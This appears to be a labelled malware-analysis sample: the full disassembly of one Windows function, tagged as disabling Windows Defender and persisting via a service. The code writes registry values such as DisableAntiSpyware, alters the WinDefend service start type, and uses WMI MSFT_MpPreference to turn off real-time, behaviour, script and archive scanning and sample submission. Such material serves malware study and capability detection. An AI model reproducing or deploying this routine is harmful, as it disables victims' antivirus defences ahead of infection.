Function at 0x1400026c0
Capabilities:
Disable windows defender features via registry on windows
Persist via windows service
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x20]
sub rsp, 0x120
mov rax, qword [0x140047038]
xor rax, rsp
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
xor edi, edi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x140002747
mov r8d, eax
lea rdx, str.SOFTWAREPoliciesMicrosoftWindows_Defender
lea rcx, str.Could_not_find_or_create__ls_error__d_n
call fcn.140005170
lea rcx, str.Failed_to_access_Policies_n
jmp 0x140002784
mov dword [rbp + 0x10], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [0x14003c730]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140002789
lea rcx, str.failed_to_write_to_DisableAntiSpyware_n
call fcn.140001170
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerStartupApprovedRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x1400027e9
mov r8d, eax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerStartupApprovedRun
lea rcx, str.Could_not_find_or_create__ls_error__d_n
call fcn.140005170
lea rcx, str.Failed_to_access_CurrentVersion_n
jmp 0x140002826
mov dword [rbp + 0x10], 3
mov dword [rsp + 0x28], 0xc
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 3
xor r8d, r8d
lea rdx, str.SecurityHealth
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x14000282b
lea rcx, str.Failed_to_write_to_SecurityHealth_n
call fcn.140001170
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_Defender
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x14000288b
mov r8d, eax
lea rdx, str.SOFTWAREMicrosoftWindows_Defender
lea rcx, str.Could_not_find_or_create__ls_error__d_n
call fcn.140005170
lea rcx, str.Failed_to_access_Windows_Defender_n
jmp 0x1400028c8
mov dword [rbp + 0x10], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [0x14003c730]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1400028cd
lea rcx, str.Failed_to_write_to_DisableAntiSpyware
call fcn.140001170
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetServicesWinDefend
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x140002932
mov r8d, eax
lea rdx, str.SYSTEMCurrentControlSetServicesWinDefend
lea rcx, str.Could_not_find_or_create__ls_error__d_n
call fcn.140005170
lea rcx, str.Failed_to_access_CurrentControlSet_n
call fcn.140001170
jmp 0x140002964
mov dword [rbp + 0x10], 3
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Start
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
lea rax, [rbp + 0x10]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x20106
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderReal_Time_Protection
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x1400029c4
mov r8d, eax
lea rdx, str.SOFTWAREMicrosoftWindows_DefenderReal_Time_Protection
lea rcx, str.Could_not_find_or_create__ls_error__d_n
call fcn.140005170
lea rcx, str.Failed_to_access_Real_Time_Protection
jmp 0x140002a01
mov dword [rbp + 0x10], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x10]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, [0x14003ca38]
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140002a06
lea rcx, str.Failed_to_write_to_DisableRealTimeMonitoring_n
call fcn.140001170
mov ecx, 0x60
call fcn.140008ac8
mov rbx, rax
mov qword [rbp + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
lea rax, [rbp - 0x60]
mov qword [rbp], rax
mov qword [rbp - 0x60], rdi
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], 0xf
mov r8d, 3
lea rdx, [0x14003cac8]
lea rcx, [rbp - 0x60]
call fcn.140003290
nop
lea rax, [rbp - 0x40]
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x30], rdi
mov qword [rbp - 0x28], 0xf
mov r8d, 0x11
lea rdx, str.MSFT_MpPreference
lea rcx, [rbp - 0x40]
call fcn.140003290
nop
mov qword [rbp - 0x20], rdi
mov qword [rbp - 0x10], rdi
mov qword [rbp - 8], 0xf
mov r8d, 0x1f
lea rdx, str.RootMicrosoftWindowsDefender
lea rcx, [rbp - 0x20]
call fcn.140003290
nop
lea r9, [rbp - 0x60]
lea r8, [rbp - 0x40]
lea rdx, [rbp - 0x20]
mov rcx, rbx
call fcn.140005c30
mov rbx, rax
mov edx, dword [rax]
test edx, edx
je 0x140002ae7
lea rcx, str.Error_has_occured:__d_n
call fcn.140001170
xor al, al
jmp 0x140002fbd
lea rax, [rbp - 0x80]
mov qword [rsp + 0x70], rax
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 0xf
mov r8d, 8
lea rdx, str.Disabled
lea rcx, [rbp - 0x80]
call fcn.140003290
nop
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x1c
lea rdx, str.EnableControlledFolderAccess
lea rcx, [rsp + 0x50]
call fcn.140003290
nop
lea r8, [rbp - 0x80]
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140001fd0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 7
lea rdx, str.disable
lea rcx, [rsp + 0x50]
call fcn.140003290
nop
mov qword [rbp - 0x80], rdi
mov qword [rbp - 0x70], rdi
mov qword [rbp - 0x68], 0xf
mov r8d, 0xd
lea rdx, str.PUAProtection
lea rcx, [rbp - 0x80]
call fcn.140003290
nop
lea r8, [rsp + 0x50]
lea rdx, [rbp - 0x80]
mov rcx, rbx
call fcn.140001fd0
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x19
lea rdx, str.DisableRealtimeMonitoring
lea rcx, [rsp + 0x50]
call fcn.140003290
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003970
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x19
lea rdx, str.DisableBehaviorMonitoring
lea rcx, [rsp + 0x50]
call fcn.140003290
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003970
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x17
lea rdx, str.DisableBlockAtFirstSeen
lea rcx, [rsp + 0x50]
call fcn.140003290
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003970
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x15
lea rdx, str.DisableIOAVProtection
lea rcx, [rsp + 0x50]
call fcn.140003290
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003970
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x12
lea rdx, str.DisablePrivacyMode
lea rcx, [rsp + 0x50]
call fcn.140003290
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003970
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x2c
lea rdx, str.SignatureDisableUpdateOnStartupWithoutEngine
lea rcx, [rsp + 0x50]
call fcn.140003290
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003970
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x16
lea rdx, str.DisableArchiveScanning
lea rcx, [rsp + 0x50]
call fcn.140003290
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003970
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x20
lea rdx, str.DisableIntrusionPreventionSystem
lea rcx, [rsp + 0x50]
call fcn.140003290
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003970
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x15
lea rdx, str.DisableScriptScanning
lea rcx, [rsp + 0x50]
call fcn.140003290
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003970
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x12
lea rdx, str.DisableAntiSpyware
lea rcx, [rsp + 0x50]
call fcn.140003290
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003970
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x10
lea rdx, str.DisableAntiVirus
lea rcx, [rsp + 0x50]
call fcn.140003290
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003970
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x14
lea rdx, str.SubmitSamplesConsent
lea rcx, [rsp + 0x50]
call fcn.140003290
mov r9b, 2
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003b20
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0xd
lea rdx, str.MAPSReporting
lea rcx, [rsp + 0x50]
call fcn.140003290
xor r9d, r9d
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003b20
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x17
lea rdx, str.HighThreatDefaultAction
lea rcx, [rsp + 0x50]
call fcn.140003290
mov r9b, 6
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003b20
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x1b
lea rdx, str.ModerateThreatDefaultAction
lea rcx, [rsp + 0x50]
call fcn.140003290
mov r9b, 6
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003b20
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x16
lea rdx, str.LowThreatDefaultAction
lea rcx, [rsp + 0x50]
call fcn.140003290
mov r9b, 6
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003b20
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0x19
lea rdx, str.SevereThreatDefaultAction
lea rcx, [rsp + 0x50]
call fcn.140003290
mov r9b, 6
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003b20
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], 0xf
mov r8d, 0xf
lea rdx, str.ScanScheduleDay
lea rcx, [rsp + 0x50]
call fcn.140003290
mov r9b, 8
lea rdx, [rsp + 0x50]
mov rcx, rbx
call fcn.140003b20
mov rcx, rbx
call fcn.140002fe0
mov al, 1
mov rcx, qword [rbp + 0x18]
xor rcx, rsp
call fcn.140008aa0
lea r11, [rsp + 0x120]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret